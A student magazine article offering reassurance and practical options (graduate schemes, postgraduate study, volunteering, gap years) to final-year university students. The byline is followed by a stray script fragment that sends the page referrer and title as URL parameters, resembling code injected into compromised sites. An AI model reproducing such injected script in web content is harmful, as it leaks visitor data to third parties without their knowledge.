Alternate Reality: life after graduation

For many of us fourth years 2012 is the final year of our degree. Before we came to university, we all had some idea of what we were going to do when we finished. Some of us will have stuck to those early ideas; others will be going in a different direction. Take myself for example; I started my law degree with ambitions of becoming a lawyer. Oh how times have changed. A once positive and assured teenager has become an unsure and apprehensive twenty-one year old.

A number of students go through a similar transition as years of university life and learning shape and change our opinions on what we want from the world. Although I’m sure you are all sick of hearing how the economy, and the world in general, has gone tits since a few bankers got a bit carried away, sadly it’s kind of true. Even those of us who will leave university with a degree which should lead into a profession i.e. medicine, teaching, law, find ourselves with little options.

So here I am, hoping to put a positive spin on the scary world of life after graduation.

I’m not going to repeat what some have said before which is that university students leave with no skills to handle a “normal job” in the “real world”. That’s nonsense. We aren’t stupid; in fact a number of us will have been working before and throughout our time at university. I think it’s quite patronising to say we are unequipped for the job market in fact. So there.

A number of degrees leave students with many options out with their field of study. While this freedom of choice is a good thing, it is this freedom which can leave some quite undecided when they finish university. What do you do then? A majority of us will look for a job. This may be a job that involves something totally different to what you have studied or could be something that allows you to utilize what you have learned at university.

For either route graduate schemes are popular especially with the promise of full time, paid work, for a contracted period of time, with strong chances of a job at the end. For me the prospect was tempting, however graduate schemes tend to focus on areas such as finance, business and recruitment. If this does interest you then the Strathclyde Careers website has vacancies for graduate schemes, as does the Prospects website at

What are the other options then? Well I’m sure for many of you the thought of spending even more time at university is enough to make your stomach turn; but further study isn’t a bad option. A postgraduate degree may be what you need to expand on what you learned during your undergraduate or be the perfect way for you to gain access to a new field of interest.  Though one thing I would bear in mind is that while it may be tempting to put off the job hunt for another year or so and carry on with the student life, ask yourself: how will this help me? If you or someone else can’t find a reason why a postgraduate degree is a better option than finding a job, then maybe it’s not for you.

Another option is to look for work experience. While this may just involve finding a job and seeing if it is for you then taking the move further, some employers offer special work experience programmes. The terms vary from full to part time and paid to voluntary. Voluntary organisations and charities take on volunteers for as long as the volunteer has the time to devote to the organisation. This can be a good option as you can pair volunteer work with a job to help you earn money while allowing you to gain experience. Something I am hoping to do over the next year.

Then we have the good old gap year. It may be the case for many graduates that their main priority on leaving university will be finding work. However, for some students who may still be undecided, taking the opportunity to travel and see the world might be a valuable option. To do this you can try applying for a working holiday visa. Although if you watch as much “Border Force” as I do you’ll know that you have to stick to the terms of the visa or you’ll be on the next plane home. Also, it may be the case of having a gap ‘few months’ rather than a year, and spending the rest of the year working away and saving the pennies in sunny Scotland.

So I hope that I have managed to spread a little calming influence amidst the “oh my god, what am I going to for the rest of my life?!” panic. There is a lot of pressure on graduates to be sure of what they are doing after they leave university; but why? We are only young and most of us in our twenties, which is meant to be a time when we are “finding ourselves” after all. Basically guys ‘keep calm and don’t panic’.

By Zoe Calderwoods.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;